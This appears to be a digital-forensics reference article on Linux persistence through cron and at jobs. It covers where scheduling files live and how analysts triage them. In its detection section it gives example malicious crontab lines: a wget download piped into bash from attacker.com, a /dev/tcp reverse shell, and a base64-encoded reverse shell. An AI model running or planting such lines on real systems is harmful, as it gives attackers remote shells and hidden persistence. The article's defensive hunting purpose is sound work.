Artifact Analysis: Linux Persistence via Cron and At Jobs

Note

Executive Summary: The Cron and At daemons are the standard job scheduling facilities on Unix-like operating systems. Because they guarantee command execution at specific times or intervals, they represent the most common and reliable persistence mechanism for threat actors on compromised Linux servers. For DFIR analysts, hunting through the decentralized architecture of Cron configuration files is a mandatory step to uncover reverse shell beacons, cryptocurrency miners, and delayed lateral movement tools.

1. The Anatomy of Linux Scheduling

Unlike Windows environments where persistence mechanisms are often centralized (e.g., the Registry or a single Task Scheduler interface), Linux scheduling artifacts are highly decentralized. A thorough post-mortem investigation on a mounted forensic image (e.g., /mnt/analysis/) requires inspecting multiple distinct locations.

A. User-Specific Crontabs

Every user on the system, including service accounts, can maintain an individual cron table. Threat actors frequently hijack service accounts (like www-data or postgres) to hide their persistence.

• Debian/Ubuntu Path: /var/spool/cron/crontabs/
• RHEL/CentOS Path: /var/spool/cron/

B. System-Wide Crontab

The primary configuration file for system-wide tasks. Unlike user crontabs, this file contains an additional column specifying the user context under which the command will execute. Attackers append lines here to grant themselves root execution privileges.

• Path: /etc/crontab

C. Drop-in Directories and Periodic Scripts

Linux distributions utilize modular directories for installed packages to place their own scheduling configurations or executable scripts.

Cron.d Drop-in (/etc/cron.d/)

Contains configuration files identical in syntax to /etc/crontab. Attackers often drop disguised files here (e.g., update-service-bin) to blend in with legitimate package schedules.

Periodic Scripts (/etc/cron.hourly|daily...)

These directories do not contain cron configurations, but rather executable shell scripts. Attackers simply drop a malicious bash script (e.g., backdoor.sh) into /etc/cron.hourly/ to ensure systematic execution.

2. The “At” Command: Delayed and One-Time Execution

While Cron is designed for recurring tasks, the at utility schedules commands for a single, future execution.

Threat actors leverage at jobs for tactical delays (e.g., executing a destructive wiping script three hours after they disconnect) or for asynchronous lateral movement.

• Job Paths: /var/spool/at/ or /var/spool/cron/atjobs/
• Forensic Value: at job files contain the entire environment variable state and the exact command to be executed. Although they are automatically deleted upon execution, recovering a pending or orphaned at job provides definitive proof of planned malicious activity.

3. Hunting for Malicious Signatures

When auditing crontabs and scheduled scripts, analysts must search for specific syntax anomalies and execution patterns indicating compromise.

Suspicious Cron Patterns

1. Payload Droppers & In-Memory Execution: Commands utilizing wget or curl pointing to external IPs or suspicious domains (like raw GitHub gists or Pastebin), often piped directly into a shell.

   * * * * * root /usr/bin/wget -q -O - http://attacker.com/beacon.sh | bash

2. Reverse Shells (C2 Beacons): Classic one-liners attempting to establish outbound connections to a Command and Control server.

   @hourly www-data bash -i >& /dev/tcp/192.168.1.50/4444 0>&1

3. Execution from Writable Directories: Any scheduled task executing a binary or script located in world-writable directories such as /tmp/, /var/tmp/, or /dev/shm/ is highly indicative of malware staging.

4. Obfuscation (Base64): Long, randomized strings designed to evade simple string-matching detection.

   */5 * * * * root echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuNS84MDgwIDA+JjE=" | base64 -d | sh

4. DFIR Triage Strategy

To effectively analyze cron persistence, DFIR teams must apply specific correlation and analysis techniques.

1. Holistic Review: Do not rely solely on the crontab -l command, which only displays the current user’s schedule. Analysts must manually parse the entire file system tree (/etc/cron* and /var/spool/cron*).
2. Script Content Verification: If a crontab entry executes a seemingly legitimate script (e.g., /usr/local/bin/backup.sh), analysts must inspect the content of backup.sh. Attackers frequently append malicious execution lines to the very end of legitimate maintenance scripts to avoid detection.
3. Timestamp Analysis (mtime): Evaluate the mtime (modification time) of files within the cron.daily or cron.d directories. If a script’s modification date aligns with the suspected intrusion window—while all surrounding system scripts date back to the OS installation—it is a confirmed artifact of compromise.
4. Log Correlation: Cross-reference cron modifications with Linux Shell History (.bash_history) and Authentication Logs to identify which compromised account created the persistence mechanism.

---

References & Further Reading

• MITRE ATT&CK: Scheduled Task/Job: Cron (T1053.003)
• SANS Institute:Advanced Incident Response and Threat Hunting
• Related Artifact: Linux Shell History (.bash_history) Analysis